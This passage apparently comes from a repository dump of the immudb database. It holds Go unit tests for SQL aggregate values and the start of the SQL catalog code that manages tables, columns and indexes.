err)\n\trequire.Equal(t, -1, cmp)\n\n\t// ValueExp\n\n\tsqlt, err := cval.inferType(nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, IntegerType, sqlt)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\n\terr = cval.requiresType(BooleanType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t_, err = cval.jointColumnTo(nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.substitute(nil)\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.reduce(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\trequire.Nil(t, cval.reduceSelectors(nil, \"table1\"))\n\n\trequire.False(t, cval.isConstant())\n\n\trequire.Nil(t, cval.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestSumValue(t *testing.T) {\n\tcval := &SumValue{\n\t\tval: &Integer{},\n\t\tsel: \"db1.table1.amount\",\n\t}\n\trequire.Equal(t, \"db1.table1.amount\", cval.Selector())\n\trequire.True(t, cval.ColBounded())\n\trequire.False(t, cval.IsNull())\n\n\terr := cval.updateWith(&Integer{val: 1})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, IntegerType, cval.Type())\n\n\t_, err = cval.Compare(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\tcmp, err := cval.Compare(&Integer{val: 1})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\terr = cval.updateWith(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNumericTypeExpected)\n\n\terr = cval.updateWith(&Integer{val: 10})\n\trequire.NoError(t, err)\n\n\tcmp, err = cval.Compare(&Integer{val: 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 1, cmp)\n\n\tcmp, err = cval.Compare(&Integer{val: 12})\n\trequire.NoError(t, err)\n\trequire.Equal(t, -1, cmp)\n\n\t// ValueExp\n\n\tsqlt, err := cval.inferType(nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, IntegerType, sqlt)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\n\terr = cval.requiresType(BooleanType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t_, err = cval.jointColumnTo(nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.substitute(nil)\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.reduce(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\trequire.Equal(t, cval, cval.reduceSelectors(nil, \"table1\"))\n\n\trequire.False(t, cval.isConstant())\n\n\trequire.Nil(t, cval.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestMinValue(t *testing.T) {\n\tcval := &MinValue{\n\t\tval: &NullValue{},\n\t\tsel: \"db1.table1.amount\",\n\t}\n\trequire.Equal(t, \"db1.table1.amount\", cval.Selector())\n\trequire.True(t, cval.ColBounded())\n\trequire.True(t, cval.IsNull())\n\n\t_, err := cval.inferType(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\terr = cval.updateWith(&Integer{val: 10})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, IntegerType, cval.Type())\n\n\tcmp, err := cval.Compare(&Integer{val: 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\t_, err = cval.Compare(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = cval.updateWith(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = cval.updateWith(&Integer{val: 2})\n\trequire.NoError(t, err)\n\n\tcmp, err = cval.Compare(&Integer{val: 2})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\tcmp, err = cval.Compare(&Integer{val: 4})\n\trequire.NoError(t, err)\n\trequire.Equal(t, -1, cmp)\n\n\t// ValueExp\n\n\tsqlt, err := cval.inferType(nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, IntegerType, sqlt)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\n\terr = cval.requiresType(BooleanType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t_, err = cval.jointColumnTo(nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.substitute(nil)\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.reduce(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\trequire.Nil(t, cval.reduceSelectors(nil, \"table1\"))\n\n\trequire.False(t, cval.isConstant())\n\n\trequire.Nil(t, cval.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestMaxValue(t *testing.T) {\n\tcval := &MaxValue{\n\t\tval: &NullValue{},\n\t\tsel: \"db1.table1.amount\",\n\t}\n\trequire.Equal(t, \"db1.table1.amount\", cval.Selector())\n\trequire.True(t, cval.ColBounded())\n\trequire.True(t, cval.IsNull())\n\n\t_, err := cval.inferType(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\terr = cval.updateWith(&Integer{val: 10})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, IntegerType, cval.Type())\n\n\tcmp, err := cval.Compare(&Integer{val: 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\t_, err = cval.Compare(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = cval.updateWith(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = cval.updateWith(&Integer{val: 2})\n\trequire.NoError(t, err)\n\n\tcmp, err = cval.Compare(&Integer{val: 2})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 1, cmp)\n\n\tcmp, err = cval.Compare(&Integer{val: 11})\n\trequire.NoError(t, err)\n\trequire.Equal(t, -1, cmp)\n\n\t// ValueExp\n\n\tsqlt, err := cval.inferType(nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, IntegerType, sqlt)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\n\terr = cval.requiresType(BooleanType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t_, err = cval.jointColumnTo(nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.substitute(nil)\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.reduce(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\trequire.Nil(t, cval.reduceSelectors(nil, \"table1\"))\n\n\trequire.False(t, cval.isConstant())\n\n\trequire.Nil(t, cval.selectorRanges(nil, \"\", nil, nil))\n}\n\nfunc TestAVGValue(t *testing.T) {\n\tcval := &AVGValue{\n\t\ts:   &Integer{},\n\t\tsel: \"db1.table1.amount\",\n\t}\n\trequire.Equal(t, \"db1.table1.amount\", cval.Selector())\n\trequire.True(t, cval.ColBounded())\n\trequire.False(t, cval.IsNull())\n\n\terr := cval.updateWith(&Integer{val: 10})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, IntegerType, cval.Type())\n\n\tcmp, err := cval.Compare(&Integer{val: 10})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\t_, err = cval.Compare(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\terr = cval.updateWith(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNumericTypeExpected)\n\n\terr = cval.updateWith(&Integer{val: 2})\n\trequire.NoError(t, err)\n\n\tcmp, err = cval.Compare(&Integer{val: 6})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\tcmp, err = cval.Compare(&Integer{val: 7})\n\trequire.NoError(t, err)\n\trequire.Equal(t, -1, cmp)\n\n\t// ValueExp\n\n\tsqlt, err := cval.inferType(nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, IntegerType, sqlt)\n\n\terr = cval.requiresType(IntegerType, nil, nil, \"table1\")\n\trequire.NoError(t, err)\n\n\terr = cval.requiresType(BooleanType, nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t_, err = cval.jointColumnTo(nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.substitute(nil)\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\t_, err = cval.reduce(nil, nil, \"table1\")\n\trequire.ErrorIs(t, err, ErrUnexpected)\n\n\trequire.Nil(t, cval.reduceSelectors(nil, \"table1\"))\n\n\trequire.False(t, cval.isConstant())\n\n\trequire.Nil(t, cval.selectorRanges(nil, \"\", nil, nil))\n}\n"
  },
  {
    "path": "embedded/sql/catalog.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/binary\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/google/uuid\"\n)\n\n// Catalog represents a database catalog containing metadata for all tables in the database.\ntype Catalog struct {\n\tenginePrefix []byte\n\n\ttables       []*Table\n\ttablesByID   map[uint32]*Table\n\ttablesByName map[string]*Table\n\n\tmaxTableID uint32 // The maxTableID variable is used to assign unique ids to new tables as they are created.\n}\n\ntype Constraint interface{}\n\ntype PrimaryKeyConstraint []string\n\ntype CheckConstraint struct {\n\tid   uint32\n\tname string\n\texp  ValueExp\n}\n\ntype Table struct {\n\tcatalog          *Catalog\n\tid               uint32\n\tname             string\n\tcols             []*Column\n\tcolsByID         map[uint32]*Column\n\tcolsByName       map[string]*Column\n\tindexes          []*Index\n\tindexesByName    map[string]*Index\n\tindexesByColID   map[uint32][]*Index\n\tcheckConstraints map[string]CheckConstraint\n\tprimaryIndex     *Index\n\tautoIncrementPK  bool\n\tmaxPK            int64\n\n\tmaxColID   uint32\n\tmaxIndexID uint32\n}\n\ntype Index struct {\n\ttable    *Table\n\tid       uint32\n\tunique   bool\n\tcols     []*Column\n\tcolsByID map[uint32]*Column\n}\n\ntype Column struct {\n\ttable         *Table\n\tid            uint32\n\tcolName       string\n\tcolType       SQLValueType\n\tmaxLen        int\n\tautoIncrement bool\n\tnotNull       bool\n}\n\nfunc newCatalog(enginePrefix []byte) *Catalog {\n\tctlg := &Catalog{\n\t\tenginePrefix: enginePrefix,\n\t\ttablesByID:   make(map[uint32]*Table),\n\t\ttablesByName: make(map[string]*Table),\n\t}\n\n\tpgTypeTable := &Table{\n\t\tcatalog: ctlg,\n\t\tname:    \"pg_type\",\n\t\tcols: []*Column{\n\t\t\t{\n\t\t\t\tcolName: \"oid\",\n\t\t\t\tcolType: VarcharType,\n\t\t\t\tmaxLen:  10,\n\t\t\t},\n\t\t\t{\n\t\t\t\tcolName: \"typbasetype\",\n\t\t\t\tcolType: VarcharType,\n\t\t\t\tmaxLen:  10,\n\t\t\t},\n\t\t\t{\n\t\t\t\tcolName: \"typname\",\n\t\t\t\tcolType: VarcharType,\n\t\t\t\tmaxLen:  50,\n\t\t\t},\n\t\t},\n\t}\n\n\tpgTypeTable.colsByName = make(map[string]*Column, len(pgTypeTable.cols))\n\n\tfor _, col := range pgTypeTable.cols {\n\t\tpgTypeTable.colsByName[col.colName] = col\n\t}\n\n\tpgTypeTable.indexes = []*Index{\n\t\t{\n\t\t\tunique: true,\n\t\t\tcols: []*Column{\n\t\t\t\tpgTypeTable.colsByName[\"oid\"],\n\t\t\t},\n\t\t\tcolsByID: map[uint32]*Column{\n\t\t\t\t0: pgTypeTable.colsByName[\"oid\"],\n\t\t\t},\n\t\t},\n\t}\n\n\tpgTypeTable.primaryIndex = pgTypeTable.indexes[0]\n\tctlg.tablesByName[pgTypeTable.name] = pgTypeTable\n\n\treturn ctlg\n}\n\nfunc (catlg *Catalog) ExistTable(table string) bool {\n\t_, exists := catlg.tablesByName[table]\n\treturn exists\n}\n\nfunc (catlg *Catalog) GetTables() []*Table {\n\tts := make([]*Table, 0, len(catlg.tables))\n\n\tts = append(ts, catlg.tables...)\n\n\treturn ts\n}\n\nfunc (catlg *Catalog) GetTableByName(name string) (*Table, error) {\n\ttable, exists := catlg.tablesByName[name]\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrTableDoesNotExist, name)\n\t}\n\treturn table, nil\n}\n\nfunc (catlg *Catalog) GetTableByID(id uint32) (*Table, error) {\n\ttable, exists := catlg.tablesByID[id]\n\tif !exists {\n\t\treturn nil, ErrTableDoesNotExist\n\t}\n\treturn table, nil\n}\n\nfunc (t *Table) ID() uint32 {\n\treturn t.id\n}\n\nfunc (t *Table) Cols() []*Column {\n\tcs := make([]*Column, 0, len(t.cols))\n\n\tcs = append(cs, t.cols...)\n\n\treturn cs\n}\n\nfunc (t *Table) ColsByName() map[string]*Column {\n\tcs := make(map[string]*Column, len(t.cols))\n\n\tfor _, c := range t.cols {\n\t\tcs[c.colName] = c\n\t}\n\n\treturn cs\n}\n\nfunc (t *Table) Name() string {\n\treturn t.name\n}\n\nfunc (t *Table) PrimaryIndex() *Index {\n\treturn t.primaryIndex\n}\n\nfunc (t *Table) IsIndexed(colName string) (indexed bool, err error) {\n\tcol, err := t.GetColumnByName(colName)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn len(t.indexesByColID[col.id]) > 0, nil\n}\n\nfunc (t *Table) GetColumnByName(name string) (*Column, error) {\n\tcol, exists := t.colsByName[name]\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, name)\n\t}\n\treturn col, nil\n}\n\nfunc (t *Table) GetColumnByID(id uint32) (*Column, error) {\n\tcol, exists := t.colsByID[id]\n\tif !exists {\n\t\treturn nil, ErrColumnDoesNotExist\n\t}\n\treturn col, nil\n}\n\nfunc (t *Table) ColumnsByID() map[uint32]*Column {\n\treturn t.colsByID\n}\n\nfunc (t *Table) GetIndexes() []*Index {\n\tidxs := make([]*Index, 0, len(t.indexes))\n\n\tidxs = append(idxs, t.indexes...)\n\n\treturn idxs\n}\n\nfunc (t *Table) GetIndexesByColID(colID uint32) []*Index {\n\tidxs := make([]*Index, 0, len(t.indexes))\n\n\tidxs = append(idxs, t.indexesByColID[colID]...)\n\n\treturn idxs\n}\n\nfunc (t *Table) GetMaxColID() uint32 {\n\treturn t.maxColID\n}\n\nfunc (i *Index) IsPrimary() bool {\n\treturn i.id == PKIndexID\n}\n\nfunc (i *Index) IsUnique() bool {\n\treturn i.unique\n}\n\nfunc (i *Index) Cols() []*Column {\n\treturn i.cols\n}\n\nfunc (i *Index) IncludesCol(colID uint32) bool {\n\t_, ok := i.colsByID[colID]\n\treturn ok\n}\n\nfunc (i *Index) enginePrefix() []byte {\n\treturn i.table.catalog.enginePrefix\n}\n\nfunc (i *Index) coversOrdCols(ordExps []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool {\n\tif !ordExpsHaveSameDirection(ordExps) {\n\t\treturn false\n\t}\n\treturn i.hasPrefix(i.cols, ordExps) || i.sortableUsing(ordExps, rangesByColID)\n}\n\nfunc ordExpsHaveSameDirection(exps []*OrdExp) bool {\n\tif len(exps) == 0 {\n\t\treturn true\n\t}\n\n\tdesc := exps[0].descOrder\n\tfor _, e := range exps[1:] {\n\t\tif e.descOrder != desc {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (i *Index) hasPrefix(columns []*Column, ordExps []*OrdExp) bool {\n\tif len(ordExps) > len(columns) {\n\t\treturn false\n\t}\n\n\tfor j, ordCol := range ordExps {\n\t\tsel := ordCol.AsSelector()\n\t\tif sel == nil {\n\t\t\treturn false\n\t\t}\n\n\t\taggFn, _, colName := sel.resolve(i.table.Name())\n\t\tif len(aggFn) > 0 {\n\t\t\treturn false\n\t\t}\n\n\t\tcol, err := i.table.GetColumnByName(colName)\n\t\tif err != nil || col.id != columns[j].id {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (i *Index) sortableUsing(columns []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool {\n\t// all columns before colID must be fixedValues otherwise the index can not be used\n\tsel := columns[0].AsSelector()\n\tif sel == nil {\n\t\treturn false\n\t}\n\n\taggFn, _, colName := sel.resolve(i.table.Name())\n\tif len(aggFn) > 0 {\n\t\treturn false\n\t}\n\n\tfirstCol, err := i.table.GetColumnByName(colName)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor j, col := range i.cols {\n\t\tif col.id == firstCol.id {\n\t\t\treturn i.hasPrefix(i.cols[j:], columns)\n\t\t}\n\n\t\tcolRange, ok := rangesByColID[col.id]\n\t\tif ok && colRange.unitary() {\n\t\t\tcontinue\n\t\t}\n\t\treturn false\n\t}\n\treturn false\n}\n\nfunc (i *Index) Name() string {\n\treturn indexName(i.table.name, i.cols)\n}\n\nfunc (i *Index) ID() uint32 {\n\treturn i.id\n}\n\nfunc (t *Table) GetIndexByName(name string) (*Index, error) {\n\tidx, exists := t.indexesByName[name]\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrIndexNotFound, name)\n\t}\n\treturn idx, nil\n}\n\nfunc indexName(tableName string, cols []*Column) string {\n\tvar buf strings.Builder\n\n\tbuf.WriteString(tableName)\n\n\tbuf.WriteString(\"(\")\n\n\tfor c, col := range cols {\n\t\tbuf.WriteString(col.colName)\n\n\t\tif c < len(cols)-1 {\n\t\t\tbuf.WriteString(\",\")\n\t\t}\n\t}\n\n\tbuf.WriteString(\")\")\n\n\treturn buf.String()\n}\n\nfunc (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, checkConstraints map[string]CheckConstraint, maxColID uint32) (table *Table, err error) {\n\tif len(name) == 0 || len(colsSpec) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tfor id := range colsSpec {\n\t\tif id <= 0 || id > maxColID {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\t}\n\n\texists := catlg.ExistTable(name)\n\tif exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrTableAlreadyExists, name)\n\t}\n\n\t// Generate a new ID for the table by incrementing the 'maxTableID' variable of the 'catalog' instance.\n\tid := (catlg.maxTableID + 1)\n\n\t// This code is attempting to check if a table with the given id already exists in the Catalog.\n\t// If the function returns nil for err, it means that the table already exists and the function\n\t// should return an error indicating that the table cannot be created again.\n\t_, err = catlg.GetTableByID(id)\n\tif err == nil {\n\t\treturn nil, fmt.Errorf(\"%w (%d)\", ErrTableAlreadyExists, id)\n\t}\n\n\ttable = &Table{\n\t\tid:               id,\n\t\tcatalog:          catlg,\n\t\tname:             name,\n\t\tcols:             make([]*Column, 0, len(colsSpec)),\n\t\tcolsByID:         make(map[uint32]*Column),\n\t\tcolsByName:       make(map[string]*Column),\n\t\tindexesByName:    make(map[string]*Index),\n\t\tindexesByColID:   make(map[uint32][]*Index),\n\t\tcheckConstraints: checkConstraints,\n\t\tmaxColID:         maxColID,\n\t}\n\n\tfor id := uint32(1); id <= maxColID; id++ {\n\t\tcs, found := colsSpec[id]\n\t\tif !found {\n\t\t\t// dropped column\n\t\t\tcontinue\n\t\t}\n\n\t\tif isReservedCol(cs.colName) {\n\t\t\treturn nil, fmt.Errorf(\"%w(%s)\", ErrReservedWord, cs.colName)\n\t\t}\n\n\t\t_, colExists := table.colsByName[cs.colName]\n\t\tif colExists {\n\t\t\treturn nil, ErrDuplicatedColumn\n\t\t}\n\n\t\tif cs.autoIncrement && cs.colType != IntegerType {\n\t\t\treturn nil, ErrLimitedAutoIncrement\n\t\t}\n\n\t\tif !validMaxLenForType(cs.maxLen, cs.colType) {\n\t\t\treturn nil, ErrLimitedMaxLen\n\t\t}\n\n\t\tcol := &Column{\n\t\t\tid:            uint32(id),\n\t\t\ttable:         table,\n\t\t\tcolName:       cs.colName,\n\t\t\tcolType:       cs.colType,\n\t\t\tmaxLen:        cs.maxLen,\n\t\t\tautoIncrement: cs.autoIncrement,\n\t\t\tnotNull:       cs.notNull,\n\t\t}\n\n\t\ttable.cols = append(table.cols, col)\n\t\ttable.colsByID[col.id] = col\n\t\ttable.colsByName[col.colName] = col\n\t}\n\n\tcatlg.tables = append(catlg.tables, table)\n\tcatlg.tablesByID[table.id] = table\n\tcatlg.tablesByName[table.name] = table\n\n\t// increment table count on successfull table creation.\n\t// This ensures that each new table is assigned a unique ID\n\t// that has not been used before.\n\tcatlg.maxTableID++\n\n\treturn table, nil\n}\n\nfunc (catlg *Catalog) deleteTable(table *Table) error {\n\t_, exists := catlg.tablesByID[table.id]\n\tif !exists {\n\t\treturn ErrTableDoesNotExist\n\t}\n\n\tnewTables := make([]*Table, 0, len(catlg.tables)-1)\n\n\tfor _, t := range catlg.tables {\n\t\tif t.id != table.id {\n\t\t\tnewTables = append(newTables, t)\n\t\t}\n\t}\n\n\tcatlg.tables = newTables\n\tdelete(catlg.tablesByID, table.id)\n\tdelete(catlg.tablesByName, table.name)\n\n\treturn nil\n}\n\nfunc (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) {\n\tif len(colIDs) < 1 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t// validate column ids\n\tcols := make([]*Column, len(colIDs))\n\tcolsByID := make(map[uint32]*Column, len(colIDs))\n\n\tfor i, colID := range colIDs {\n\t\tcol, err := t.GetColumnByID(colID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t_, ok := colsByID[colID]\n\t\tif ok {\n\t\t\treturn nil, ErrDuplicatedColumn\n\t\t}\n\n\t\tcols[i] = col\n\t\tcolsByID[colID] = col\n\t}\n\n\tindex = &Index{\n\t\tid:       uint32(t.maxIndexID),\n\t\ttable:    t,\n\t\tunique:   unique,\n\t\tcols:     cols,\n\t\tcolsByID: colsByID,\n\t}\n\n\t_, exists := t.indexesByName[index.Name()]\n\tif exists {\n\t\treturn nil, ErrIndexAlreadyExists\n\t}\n\n\tt.indexes = append(t.indexes, index)\n\tt.indexesByName[index.Name()] = index\n\n\t// having a direct way to get the indexes by colID\n\tfor _, col := range index.cols {\n\t\tt.indexesByColID[col.id] = append(t.indexesByColID[col.id], index)\n\t}\n\n\tif index.id == PKIndexID {\n\t\tt.primaryIndex = index\n\t\tt.autoIncrementPK = len(index.cols) == 1 && index.cols[0].autoIncrement\n\t}\n\n\t// increment table count on successfull table creation.\n\t// This ensures that each new table is assigned a unique ID\n\t// that has not been used before.\n\tt.maxIndexID++\n\n\treturn index, nil\n}\n\nfunc (t *Table) newColumn(spec *ColSpec) (*Column, error) {\n\tif isReservedCol(spec.colName) {\n\t\treturn nil, fmt.Errorf(\"%w(%s)\", ErrReservedWord, spec.colName)\n\t}\n\n\tif spec.autoIncrement {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrLimitedAutoIncrement, spec.colName)\n\t}\n\n\tif spec.notNull {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrNewColumnMustBeNullable, spec.colName)\n\t}\n\n\tif !validMaxLenForType(spec.maxLen, spec.colType) {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrLimitedMaxLen, spec.colName)\n\t}\n\n\t_, exists := t.colsByName[spec.colName]\n\tif exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnAlreadyExists, spec.colName)\n\t}\n\n\tt.maxColID++\n\n\tcol := &Column{\n\t\tid:            t.maxColID,\n\t\ttable:         t,\n\t\tcolName:       spec.colName,\n\t\tcolType:       spec.colType,\n\t\tmaxLen:        spec.maxLen,\n\t\tautoIncrement: spec.autoIncrement,\n\t\tnotNull:       spec.notNull,\n\t}\n\n\tt.cols = append(t.cols, col)\n\tt.colsByID[col.id] = col\n\tt.colsByName[col.colName] = col\n\n\treturn col, nil\n}\n\nfunc (ctlg *Catalog) renameTable(oldName, newName string) (*Table, error) {\n\tif oldName == newName {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrSameOldAndNewNames, oldName)\n\t}\n\n\tt, err := ctlg.GetTableByName(oldName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = ctlg.GetTableByName(newName)\n\tif err == nil {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrTableAlreadyExists, newName)\n\t}\n\n\tt.name = newName\n\n\tdelete(ctlg.tablesByName, oldName)\n\tctlg.tablesByName[newName] = t\n\n\treturn t, nil\n}\n\nfunc (t *Table) renameColumn(oldName, newName string) (*Column, error) {\n\tif isReservedCol(newName) {\n\t\treturn nil, fmt.Errorf(\"%w(%s)\", ErrReservedWord, newName)\n\t}\n\n\tif oldName == newName {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrSameOldAndNewNames, oldName)\n\t}\n\n\tcol, exists := t.colsByName[oldName]\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnDoesNotExist, oldName)\n\t}\n\n\t_, exists = t.colsByName[newName]\n\tif exists {\n\t\treturn nil, fmt.Errorf(\"%w (%s)\", ErrColumnAlreadyExists, newName)\n\t}\n\n\tcol.colName = newName\n\n\tdelete(t.colsByName, oldName)\n\tt.colsByName[newName] = col\n\n\treturn col, nil\n}\n\nfunc (t *Table) deleteColumn(col *Column) error {\n\tisIndexed, err := t.IsIndexed(col.colName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif isIndexed {\n\t\treturn fmt.Errorf(\"%w %s because one or more indexes require it\", ErrCannotDropColumn, col.colName)\n\t}\n\n\tnewCols := make([]*Column, 0, len(t.cols)-1)\n\n\tfor _, c := range t.cols {\n\t\tif c.id != col.id {\n\t\t\tnewCols = append(newCols, c)\n\t\t}\n\t}\n\n\tt.cols = newCols\n\tdelete(t.colsByName, col.colName)\n\tdelete(t.colsByID, col.id)\n\n\treturn nil\n}\n\nfunc (t *Table) deleteCheck(name string) (uint32, error) {\n\tc, exists := t.checkConstraints[name]\n\tif !exists {\n\t\treturn 0, fmt.Errorf(\"%s.%s: %w\", t.name, name, ErrConstraintNotFound)\n\t}\n\n\tdelete(t.checkConstraints, name)\n\treturn c.id, nil\n}\n\nfunc (t *Table) deleteIndex(index *Index) error {\n\tif index.IsPrimary() {\n\t\treturn fmt.Errorf(\"%w: primary key index can NOT be deleted\", ErrIllegalArguments)\n\t}\n\n\tnewIndexes := make([]*Index, 0, len(t.indexes)-1)\n\n\tfor _, i := range t.indexes {\n\t\tif i.id != index.id {\n\t\t\tnewIndexes = append(newIndexes, i)\n\t\t}\n\t}\n\n\tt.indexes = newIndexes\n\tdelete(t.indexesByColID, index.id)\n\tdelete(t.indexesByName, index.Name())\n\n\treturn nil\n}\n\nfunc (c *Column) ID() uint32 {\n\treturn c.id\n}\n\nfunc (c *Column) Name() string {\n\treturn c.colName\n}\n\nfunc (c *Column) Type() SQLValueType {\n\treturn c.colType\n}\n\nfunc (c *Column) MaxLen() int {\n\tswitch c.colType {\n\tcase BooleanType:\n\t\treturn 1\n\tcase IntegerType:\n\t\treturn 8\n\tcase TimestampType:\n\t\treturn 8\n\tcase Float64Type:\n\t\treturn 8\n\tcase UUIDType:\n\t\treturn 16\n\t}\n\n\treturn c.maxLen\n}\n\nfunc (c *Column) IsNullable() bool {\n\treturn !c.notNull\n}\n\nfunc (c *Column) IsAutoIncremental() bool {\n\treturn c.autoIncrement\n}\n\nfunc validMaxLenForType(maxLen int, sqlType SQLValueType) bool {\n\tswitch sqlType {\n\tcase BooleanType:\n\t\treturn maxLen <= 1\n\tcase IntegerType:\n\t\treturn maxLen == 0 || maxLen == 8\n\tcase Float64Type:\n\t\treturn maxLen == 0 || maxLen == 8\n\tcase TimestampType:\n\t\treturn maxLen == 0 || maxLen == 8\n\tcase UUIDType:\n\t\treturn maxLen == 0 || maxLen == 16\n\t}\n\n\treturn maxLen >= 0\n}\n\nfunc (catlg *Catalog) load(ctx context.Context, tx *store.OngoingTx) error {\n\treturn catlg.loadCatalog(ctx, tx, false)\n}\n\nfunc (catlg *Catalog) loadCatalog(ctx context.Context, tx *store.OngoingTx, copyToTx bool) error {\n\tprefix := MapKey(catlg.enginePrefix, catalogTablePrefix, EncodeID(1))\n\n\treturn iteratePrefix(ctx, tx, prefix, func(key, value []byte, deleted bool) error {\n\t\tdbID, tableID, err := unmapTableID(catlg.enginePrefix, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif dbID != DatabaseID {\n\t\t\treturn ErrCorruptedData\n\t\t}\n\n\t\tif deleted 